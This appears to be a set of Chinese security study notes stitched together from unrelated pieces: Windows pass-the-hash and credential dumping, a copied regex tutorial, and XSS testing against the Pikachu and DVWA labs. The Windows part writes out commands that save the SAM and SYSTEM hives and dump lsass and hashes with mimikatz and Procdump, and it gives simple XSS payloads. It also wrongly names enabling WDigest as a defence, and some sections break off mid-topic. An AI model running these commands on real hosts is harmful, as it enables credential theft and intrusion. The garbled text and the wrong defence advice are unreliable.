首先需要建立一个IPC连接,net use \\IP\ipc$ "密码" /user:"administrator",可以使用net use 查看已经建立的连接

利用条件:开启了139,445端口,通过139,445端口,可以实现对共享文件/打印机的访问,并且管理员需要开启默认共享

PTH(Pass The Hash)

拿到某个机子的NTLM hash,就可以拿这个NTLM进行远程登录,原理其实是Windows内部不保存明文密码,只保存密码的hash值,本机用户的密码hash是放在%SystemRoot%\System32\config\SAM里,域内用户的密码存放在域控的C:\Windows\NTDS\NTDS.dit文件里,在使用CS时常见到以下情况的hash

Administrator:500:AAD3B435B51404EEAAD3B435B51404EE:31D6CFE0D16AE931B73C59D7E0C089C0:::

windows中hash结构一般为username:RID:LM-hsah:NTLM-hash,AAD3B435B51404EEAAD3B435B51404EE是LM Hash,31D6CFE0D16AE931B73C59D7E0C089C0是NTLM Hash这里的话LM加密算法不进行介绍,只在2000 XP 2003系统中有,从Windows Vista 和 Windows Server 2008开始默认只存储NTLM Hash,如果密码是空或者不存储LM Hash的话,这里的LM Hash都是AAD3B435B51404EEAAD3B435B51404EE,NTLM的算法如下

  • 先把用户名密码转换成16进制
  • 把16进制格式的密码进行Unicode编码
  • 使用MD4对Unicode编码数据进行Hash计算

image-20220313220800398

这里标注了大概过程

  1. 用户登录客户端电脑
  2. 客户端向服务器发送协商消息,包含客户端支持和服务器请求的功能列表
  3. 服务器用质询进行响应,包含服务器支持和同意的功能列表,最主要包含服务器产生的Challenge
  4. 客户端用身份验证回复质询,用户接受到3中的challenge后,用用户与challenge进行加密运算得到response,把response,username,challenge,发给服务器,response是关键,他向服务器证明客户端用户知道账号密码
  5. 服务器拿到身份验证后,用challenge和hash进行加密得到response2与身份验证发来的response进行比较,如果用户hash在域控里,如果没有用户hash,没法计算response2,这个时候服务器会使用netlogon协议,联系域控,建立一个安全通道,把协商,质询,身份证验证全发给域控,这个过程叫Pass Through Authentication认证流程
  6. 域控使用challenge和用户hash加密得到response2,与response比较

这里就可能存在一个安全问题,由于在计算response的时候,客户端是使用的用户的hash进行计算,而不是用户密码,所以我们只需要用户hash即可登录

单机密码抓取

想要抓取明文或者哈希密码,必须要提权至System,本地用户名,哈希值和安全验证信息都存在SAM中,lsass.exe进程是实现Windows的安全策略(本地安全策略和登录策略) 我们可以使用工具把散列值和明文密码从内存中的lsass.exe进程或者SAM文件导出

通过SAM和System文件抓取密码

1
2
3
4
5
6
7
8
9
10
无工具导出SAM文件
reg save hklm\sam sam.hive
reg save hklm\system system.hive
方法一:把从目标系统到处的system.hive和sam.hive与mimikatz放在同一目录下,运行mimikatz
lsadump::sam/sam:sam.hive /system:system.hive
方法二:使用mimikatz直接读取本地SAM文件,到处hash信息(需要免杀)
打开mimikatz
privilege::debug //提升权限
token::elevate //把权限提升至system
lsadump::sam //读取本地SAM文件,获得NTLM Hash

使用mimikatz在线读取SAM文件

mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords"

使用mimikatz离线读取lsass.dmp文件

Procdump是微软的工具,可以在命令行下把lsass文件导出,杀软不会报毒

1
2
3
4
使用Procdump导出lsass.dmp文件
Procdump.exe -accepteula -ma lsass.exe lsass.dump
使用Procdump导出lsass.dmp文件中的密码散列值

防御方法:开启Wdigest Auth

PTT(Pass The Ticket)

黄金票据和白银票据

什么是正则表达式?

正则表达式是一组由字母和符号组成的特殊文本,它可以用来从文本中找出满足你想要的格式的句子,一个正则表达式是一种从左到右匹配主体字符串的模式

图片

1. 基本匹配

一个正则表达式 the,它表示一个规则:由字母t开始,接着是h,再接着是e

1
"the" => The fat cat sat on the mat.

正则表达式123匹配字符串123。它逐个字符的与输入的正则表达式做比较。

正则表达式是大小写敏感的,所以The不会匹配the

1
"The" => The fat cat sat on the mat

2. 元字符

正则表达式主要依赖于元字符。 元字符不代表他们本身的字面意思,他们都有特殊的含义。一些元字符写在方括号中的时候有一些特殊的意思。以下是一些元字符的介绍:

元字符 描述
. 句号匹配任意单个字符除了换行符。
[ ] 字符种类。匹配方括号内的任意字符。
[^ ] 否定的字符种类。匹配除了方括号里的任意字符
* 匹配>=0个重复的在*号之前的字符。
+ 匹配>=1个重复的+号前的字符。
? 标记?之前的字符为可选.
{n,m} 匹配num个大括号之前的字符或字符集 (n <= num <= m).
(xyz) 字符集,匹配与 xyz 完全相等的字符串.
| 或运算符,匹配符号前或后的字符.
|转义字符,用于匹配一些保留的字符 [ ] ( ) { } . * + ? ^ $ \ |
^ 从开始行开始匹配.
$ 从末端开始匹配.

2.1 点运算符 .

.是元字符中最简单的例子。 .匹配任意单个字符,但不匹配换行符。 例如,表达式.ar匹配一个任意字符后面跟着是ar的字符串。

1
".ar" => The car parked in the garage.

2.2 字符集

字符集也叫做字符类。 方括号用来指定一个字符集。 在方括号中使用连字符来指定字符集的范围。 在方括号中的字符集不关心顺序。 例如,表达式[Tt]he 匹配 the 和 The

1
"[Tt]he" => The car parked in the garage.

方括号的句号就表示句号。 表达式 ar[.] 匹配 ar.字符串

1
"ar[.]" => A garage is a good place to park a car.

2.2.1 否定字符集

一般来说 ^ 表示一个字符串的开头,但它用在一个方括号的开头的时候,它表示这个字符集是否定的。 例如,表达式[^c]ar 匹配一个后面跟着ar的除了c的任意字符。

1
"[^c]ar" => The car parked in the garage.

2.3 重复次数

后面跟着元字符 +* or ? 的,用来指定匹配子模式的次数。 这些元字符在不同的情况下有着不同的意思。

2.3.1 * 号

*号匹配 在*之前的字符出现大于等于0次。 例如,表达式 a* 匹配0或更多个以a开头的字符。表达式[a-z]* 匹配一个行中所有以小写字母开头的字符串。

1
"[a-z]*" => The car parked in the garage #21.

*字符和.字符搭配可以匹配所有的字符.*。 *和表示匹配空格的符号\s连起来用,如表达式\s*cat\s*匹配0或更多个空格开头和0或更多个空格结尾的cat字符串。

1
"\s*cat\s*" => The fat cat sat on the concatenation.

2.3.2 + 号

+号匹配+号之前的字符出现 >=1 次。 例如表达式c.+t 匹配以首字母c开头以t结尾,中间跟着至少一个字符的字符串。

1
"c.+t" => The fat cat sat on the mat.

2.3.3 ? 号

在正则表达式中元字符 ? 标记在符号前面的字符为可选,即出现 0 或 1 次。 例如,表达式 [T]?he 匹配字符串 he 和 The

1
"[T]he" => The car is parked in the garage.
1
"[T]?he" => The car is parked in the garage.

2.4 {} 号

在正则表达式中 {} 是一个量词,常用来限定一个或一组字符可以重复出现的次数。 例如, 表达式 [0-9]{2,3} 匹配最少 2 位最多 3 位 0~9 的数字。

1
"[0-9]{2,3}" => The number was 9.9997 but we rounded it off to 10.0.

我们可以省略第二个参数。 例如,[0-9]{2,} 匹配至少两位 0~9 的数字。

1
"[0-9]{2,}" => The number was 9.9997 but we rounded it off to 10.0.

如果逗号也省略掉则表示重复固定的次数。 例如,[0-9]{3} 匹配3位数字

1
"[0-9]{3}" => The number was 9.9997 but we rounded it off to 10.0.

2.5 (...) 特征标群

特征标群是一组写在 (...) 中的子模式。(...) 中包含的内容将会被看成一个整体,和数学中小括号( )的作用相同。例如, 表达式 (ab)* 匹配连续出现 0 或更多个 ab。如果没有使用 (...) ,那么表达式 ab* 将匹配连续出现 0 或更多个 b 。再比如之前说的 {} 是用来表示前面一个字符出现指定次数。但如果在 {} 前加上特征标群 (...) 则表示整个标群内的字符重复 N 次。

我们还可以在 () 中用或字符 | 表示或。例如,(c|g|p)ar 匹配 car 或 gar 或 par.

1
"(c|g|p)ar" => The car is parked in the garage.

2.6 | 或运算符

或运算符就表示或,用作判断条件。

例如 (T|t)he|car 匹配 (T|t)he 或 car

1
"(T|t)he|car" => The car is parked in the garage.

2.7 转码特殊字符

反斜线 \ 在表达式中用于转码紧跟其后的字符。用于指定 { } [ ] / \ + * . $ ^ | ? 这些特殊字符。如果想要匹配这些特殊字符则要在其前面加上反斜线 \

例如 . 是用来匹配除换行符外的所有字符的。如果想要匹配句子中的 . 则要写成 \. 以下这个例子 \.?是选择性匹配.

1
"(f|c|m)at\.?" => The fat cat sat on the mat.

2.8 锚点

在正则表达式中,想要匹配指定开头或结尾的字符串就要使用到锚点。^ 指定开头,$ 指定结尾。

2.8.1 ^ 号

^ 用来检查匹配的字符串是否在所匹配字符串的开头。

例如,在 abc 中使用表达式 ^a 会得到结果 a。但如果使用 ^b 将匹配不到任何结果。因为在字符串 abc 中并不是以 b 开头。

例如,^(T|t)he 匹配以 The 或 the 开头的字符串。

1
"(T|t)he" => The car is parked in the garage.
1
"^(T|t)he" => The car is parked in the garage.

2.8.2 $ 号

同理于 ^ 号,$ 号用来匹配字符是否是最后一个。

例如,(at\.)$ 匹配以 at. 结尾的字符串。

1
"(at\.)" => The fat cat. sat. on the mat.
1
"(at\.)$" => The fat cat. sat. on the mat.

3. 简写字符集

正则表达式提供一些常用的字符集简写。如下:

简写 描述
. 除换行符外的所有字符
\w 匹配所有字母数字,等同于 [a-zA-Z0-9_]
\W 匹配所有非字母数字,即符号,等同于: [^\w]
\d 匹配数字: [0-9]
\D 匹配非数字: [^\d]
\s 匹配所有空格字符,等同于: [\t\n\f\r\p{Z}]
\S 匹配所有非空格字符: [^\s]
\f 匹配一个换页符
\n 匹配一个换行符
\r 匹配一个回车符
\t 匹配一个制表符
\v 匹配一个垂直制表符
\p 匹配 CR/LF(等同于 \r\n),用来匹配 DOS 行终止符

4. 零宽度断言(前后预查)

先行断言和后发断言(合称 lookaround)都属于非捕获组(用于匹配模式,但不包括在匹配列表中)。当我们需要一个模式的前面或后面有另一个特定的模式时,就可以使用它们。

例如,我们希望从下面的输入字符串 $4.44 和 $10.88 中获得所有以 $ 字符开头的数字,我们将使用以下的正则表达式 (?<=\$)[0-9\.]*。意思是:获取所有包含 . 并且前面是 $ 的数字。

零宽度断言如下:

符号 描述
?= 正先行断言-存在
?! 负先行断言-排除
?<= 正后发断言-存在
?<! 负后发断言-排除

4.1 ?=... 正先行断言

?=... 正先行断言,表示第一部分表达式之后必须跟着 ?=...定义的表达式。

返回结果只包含满足匹配条件的第一部分表达式。 定义一个正先行断言要使用 ()。在括号内部使用一个问号和等号: (?=...)

正先行断言的内容写在括号中的等号后面。 例如,表达式 (T|t)he(?=\sfat) 匹配 The 和 the,在括号中我们又定义了正先行断言 (?=\sfat) ,即 The 和 the 后面紧跟着 (空格)fat

1
"(T|t)he(?=\sfat)" => The fat cat sat on the mat.

4.2 ?!... 负先行断言

负先行断言 ?! 用于筛选所有匹配结果,筛选条件为 其后不跟随着断言中定义的格式。 正先行断言 定义和 负先行断言 一样,区别就是 = 替换成 ! 也就是 (?!...)

表达式 (T|t)he(?!\sfat) 匹配 The 和 the,且其后不跟着 (空格)fat

1
"(T|t)he(?!\sfat)" => The fat cat sat on the mat.

4.3 ?<= ... 正后发断言

正后发断言 记作(?<=...) 用于筛选所有匹配结果,筛选条件为 其前跟随着断言中定义的格式。 例如,表达式 (?<=(T|t)he\s)(fat|mat) 匹配 fat 和 mat,且其前跟着 The 或 the

1
"(?<=(T|t)he\s)(fat|mat)" => The fat cat sat on the mat.

4.4 ?<!... 负后发断言

负后发断言 记作 (?<!...) 用于筛选所有匹配结果,筛选条件为 其前不跟随着断言中定义的格式。 例如,表达式 (?<!(T|t)he\s)(cat) 匹配 cat,且其前不跟着 The 或 the

1
"(?<!(T|t)he\s)(cat)" => The cat sat on cat.

5. 标志

标志也叫模式修正符,因为它可以用来修改表达式的搜索结果。 这些标志可以任意的组合使用,它也是整个正则表达式的一部分。

标志 描述
i 忽略大小写。
g 全局搜索。
m 多行修饰符:锚点元字符 ^ $ 工作范围在每行的起始。

5.1 忽略大小写 (Case Insensitive)

修饰语 i 用于忽略大小写。 例如,表达式 /The/gi 表示在全局搜索 The,在后面的 i 将其条件修改为忽略大小写,则变成搜索 the 和 Theg 表示全局搜索。

1
2
"The" => The fat cat sat on the mat.
"/The/gi" => The fat cat sat on the mat.

修饰符 g 常用于执行一个全局搜索匹配,即(不仅仅返回第一个匹配的,而是返回全部)。 例如,表达式 /.(at)/g 表示搜索 任意字符(除了换行)+ at,并返回全部结果。

1
2
"/.(at)/" => The fat cat sat on the mat.
"/.(at)/g" => The fat cat sat on the mat.

5.3 多行修饰符 (Multiline)

多行修饰符 m 常用于执行一个多行匹配。

像之前介绍的 (^,$) 用于检查格式是否是在待检测字符串的开头或结尾。但我们如果想要它在每行的开头和结尾生效,我们需要用到多行修饰符 m

例如,表达式 /at(.)?$/gm 表示小写字符 a 后跟小写字符 t ,末尾可选除换行符外任意字符。根据 m 修饰符,现在表达式匹配每行的结尾。

1
2
3
"/.at(.)?$/" => The fat
cat sat
on the mat.
1
2
3
"/.at(.)?$/gm" => The fat
cat sat
on the mat.

6. 贪婪匹配与惰性匹配 (Greedy vs lazy matching)

正则表达式默认采用贪婪匹配模式,在该模式下意味着会匹配尽可能长的子串。我们可以使用 ? 将贪婪匹配模式转化为惰性匹配模式。

1
2
"/(.*at)/" => The fat cat sat on the mat. 
"/(.*?at)/" => The fat cat sat on the mat.

(在github找到的比较容易理解的正则资料,直接搬过来了免得翻墙)

前言:

  • 什么是DOM?
    通过JS,可以重构整个HTML文档,可以添加,移除或者改变等页面上的项目。

    要改变页面的某个东西,JS就需要获得对html文档中所有元素进行访问的入口,这个入口连同对html元素进行添加.移动.改变或移除的方法和属性,都是通过文档对象模型来获得的(DOM)

    所以,我们可以把DOM理解为一个访问HTML的标准接口

可以去菜鸟教程或者W3SCHOOL查看下相关的解释

演示:

首先随意输入提交

图片

弹出一what do u see

图片

查看前端源码,可以看到有一串JS代码

图片

首先用DOM里的getid这个方法获取id=text的标签,也就是我们输入的内容赋值给str然后又把str用字符串拼接的方式写到了a标签里,然后a标签会写入到id=dom这个标签里,以上就是JS的代码

如何测试?

实际上思路跟我们测反射型与存储型的操作一样,先确定输入点,输入点很明显就是这个input里。反射型和存储型都是通过后端代码echo到前端的,但是DOM型是纯前端输出,通过上述解释的JS代码就输出了,且没有做任何的过滤和转义操作

1
<a href='"+str+"'>what do u see?</a>

对以上代码构造闭合,首先先把单引号闭合,然后选择一个能触发弹窗的属性,随后把前面第一个尖括号闭合,后面就可以不管了。
payload:

1
<a href='#' onclick='alert(111)"> 

尝试一下,弹窗成功图片

以上就是简单的DOM型利用(刷新一下就没效果而且也没存进数据库,危害比较鸡肋)

其他案例:

随意输入点击提交,弹了句话,查看前端代码图片

可以看到也有个JS代码

图片

首先采用window.location.search这个DOM方法获取浏览器传参的参数,然后下一行的方法对参数进行url的解码并用字符串进行分割

,然后获取到对应内容,其实就是从在这个输入框中获取输入的完整内容,然后把最后的内容复制给xss这个变量,然后把xss写入到a这个标签,由此可见形成这个漏洞主要是由于url的参数

把上一个例子的payload继续尝试,成功弹窗

图片

over.

存储型XSS漏洞跟反射型形成的原因一样,不同的是存储型XSS下攻击者可以将脚本注入到后台存储起来,构成更加持久的危害,因为存储型XSS也称“永久性”XSS

演示:

先任意输入数据,提交数据,留言成功保留

图片

图片

按照概述的思路进行测试,输入特殊字符

图片

成功有回显,查看前端源码

图片

输出到了P标签里,看起来没有做任何的过滤和转义,然后尝试一个简单的弹窗,说明刚才输入的留言已经被存进了数据库里,所以每次刷新页面都会相同的弹窗,显而易见存储型的危害性更大

图片

源码分析:

图片

先是一个输入的表单,然后判断输入里面有没有对应的Message以及是否为空,然后对其进行转义,这里主要是防SQL注入,暂且不表。然后通过insert把message直接插入到表里,也就是存到后台。

图片

然后一个select把表里的所有留言查出来,然后循环一下把留言读出来并显示在前端上,以上便是主要代码的作用

over.

演示:

先输入一些比较特殊的字符(这里指会出现HTML或者JS语法中的字符),比如双引号“”,尖括号<>等,测试这些字符是否会被过滤

图片

有回显,查看页面源码

图片

很明显没有被过滤都被输出在P标签里,说明这里可能出现XSS漏洞,可以尝试一些payload

图片

输入到一半结果不能输了,结果是因为他在前端代码里限制了最大字符长度(其实根本没鸟用)

图片

修改到一定数值,继续输入我们的payload并提交

图片

图片

Tips:alert可以用confirm和prompt来替代

确实存在反射型XSS漏洞

由此可见,从前端进行输入数据,到后端接收数据,其实后端是没有对数据进行存储的,重新刷新页面就不会出现以上弹窗了

源码分析:

图片

源码是比较简单的,先判断传入的数据是否为空,如果不为kobe,就把输入的数据原封不动的输出到前端,这个过程后端没有对数据进行任何操作

利用场景:

上述演示是基于GET方式传入的,所以说我们传入的数据会出现在URL上,期间浏览器会对一些字符进行url编码,所以我们可以直接把含有payload的url发给别人,就能触发XSS,这个还算是好利用的

图片

这里的payload是比较简单的,只是为了验证漏洞存在,当然期间的代码,是可以由我们更改,比如说获取cookie之类的

GET方式的XSS漏洞更加容易被利用,一般利用的方式是将带有跨站脚本的Url伪装后发送给目标,而POST方式由于是以表单方式提交,无法直接使用Url方式进行攻击

PS:GET是以Url方式提交数据,POST是以表单方式在请求体里面提交

概述:

Cross-Site Scripting 简称为“CSS”,为避免与前端叠成样式表的缩写”CSS”冲突,故又称XSS。一般XSS可以分为如下几种常见类型:

    1.反射性XSS;

    2.存储型XSS;

    3.DOM型XSS;

XSS漏洞一直被评估为web漏洞中危害较大的漏洞,在OWASP TOP10的排名中一直属于前三的江湖地位。

XSS是一种发生在前端浏览器端的漏洞,所以其危害的对象也是前端用户。

形成XSS漏洞的主要原因是程序对输入和输出没有做合适的处理,导致“精心构造”的字符输出在前端时被浏览器当作有效代码解析执行从而产生危害。

因此在XSS漏洞的防范上,一般会采用“对输入进行过滤”和“输出进行转义”的方式进行处理:

  输入过滤:对输入进行过滤,不允许可能导致XSS攻击的字符输入;

  输出转义:根据输出点的位置对输出到前端的内容进行适当转义

常见类型:

  • 反射型:
    交互的数据一般不会被存在数据库里,一次性,所见就所得,一般出现在查询类页面里

  • 存储型:
    交互的数据会被存在数据库里,永久性存储,一般出现在留言板里,注册等页面

  • DOM型:
    不与后台服务器产生数据交互,是一种通过DOM操作前端代码输出的时候产生的问题,一次性也属于反射型

           **危害性:存储型 > 反射型 > DOM型**
    

测试流程:

  1. 在目标站点上找到输入点,比如查询接口,留言板等
  2. 输入一组“特殊字符+唯一识别字符“,点击提交后,查看返回的源码,是否对其做了相应的处理
  3. 通过搜索定位到唯一字符,结合唯一字符前后语法确认是否可以构造执行JS的条件(构造闭合)
  4. 提交构造的脚本代码(以及各种绕过姿势)看是否成功,如果成功则存在XSS漏洞

tips:

  1. 一般查询接口容易出现反射型XSS,留言板容易出现存储型XSS
  2. 由于后台可能存在过滤措施,构造的script可能会被过滤掉,而无法失效,或者环境限制了执行(比如浏览器)
  3. 通过变化不同的script,尝试绕过后台过滤机制

环境:

测试目标:Pikachu或者DVWA

测试工具:火狐+开发者工具+burp